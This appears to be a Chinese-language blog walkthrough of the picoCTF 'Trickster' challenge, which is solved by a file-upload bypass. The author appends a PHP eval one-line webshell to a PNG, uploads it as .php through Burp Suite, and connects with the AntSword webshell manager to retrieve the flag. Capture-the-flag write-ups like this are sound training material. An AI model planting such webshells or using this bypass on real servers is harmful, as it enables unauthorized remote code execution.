picoCTF-Web Exploitation-Trickster

Description

I found a web app that can help process images: PNG images only!

这应该是个上传漏洞了,十几年没用过了,不知道思路是不是一样的,以前的思路是通过上传漏洞想办法上传一个木马,拿到webshell,今天试试看能不能成功。

随便翻一翻源码没有找到什么有用的信息,只找到一个robots.txt(这还是最近才学到的给Google提供的map文件)
robots.txt发现如下信息

User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/

有一个/uploads/文件夹这里应该就是文件上传后的地址了

/instructions.txt文件信息如下,大意是提交时验证.png 扩展名,然后还要验证文件字节的正确性

Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.

那我i们就试一试,上传一个非png文件提示需要.png后缀,把非png文件后缀改为.png发现后端也有有文件头验证,可能这就是/instructions.txt 所说

随便制作一个png图片(直接截图保存),越小越好,便于我们查看修改文件信息,上传png图片

使用Burpsuite抓包,查看请求信息Content-Type: image/png 这应该就是后端的验证关键了吧

修改png文件信息,加上PHP一句话木马,修改一下filename后缀加上.php,(这里后缀的验证是前端js做的,用Burpsuite发送请求就不必考虑后缀的验证问题了)

如图返回上传成功

php 复制代码
<?php @eval($_POST['hucker']);?>

接下来我们使用中国蚁剑连接木马地址,以前用菜刀,管理webshell,爬取网站文件信息挺好用的,百度找到一个中国蚁剑就决定试试,看介绍好像也是根据菜刀改的。这种黑客软件最好是去github下载原版,可以验证MD5,毕竟是开源的东西,一般不会存在后门。

连接我们的木马,前面我们通过robots.txt看到文件上传目录是uploads,组合一下得到地址[http://atlas.picoctf.net:49226/uploads/2.png.php],输入密码hucker 连接

直接查看网站文件,找到一个GAZWIMLEGU2DQ.txt 里面就是flag了

相关推荐
ac-er88888 分钟前
PHP“===”的意义
开发语言·php
wxin_VXbishe19 分钟前
springboot合肥师范学院实习实训管理系统-计算机毕业设计源码31290
java·spring boot·python·spring·servlet·django·php
小小不董34 分钟前
《Linux从小白到高手》理论篇:深入理解Linux的网络管理
linux·运维·服务器·数据库·php·dba
豆豆1 小时前
为什么用PageAdmin CMS建设网站?
服务器·开发语言·前端·php·软件构建
l1x1n02 小时前
No.2 笔记 | 网络安全攻防:PC、CS工具与移动应用分析
安全·web安全
NiNg_1_2342 小时前
ThinkPHP5基础入门
php
2401_857610033 小时前
SpringBoot实现:校园资料分享平台开发指南
服务器·spring boot·php
Q_w77423 小时前
一个真实可用的登录界面!
javascript·mysql·php·html5·网站登录
一丝晨光4 小时前
Java、PHP、ASP、JSP、Kotlin、.NET、Go
java·kotlin·go·php·.net·jsp·asp
guanyue.space6 小时前
网站可疑问题
web安全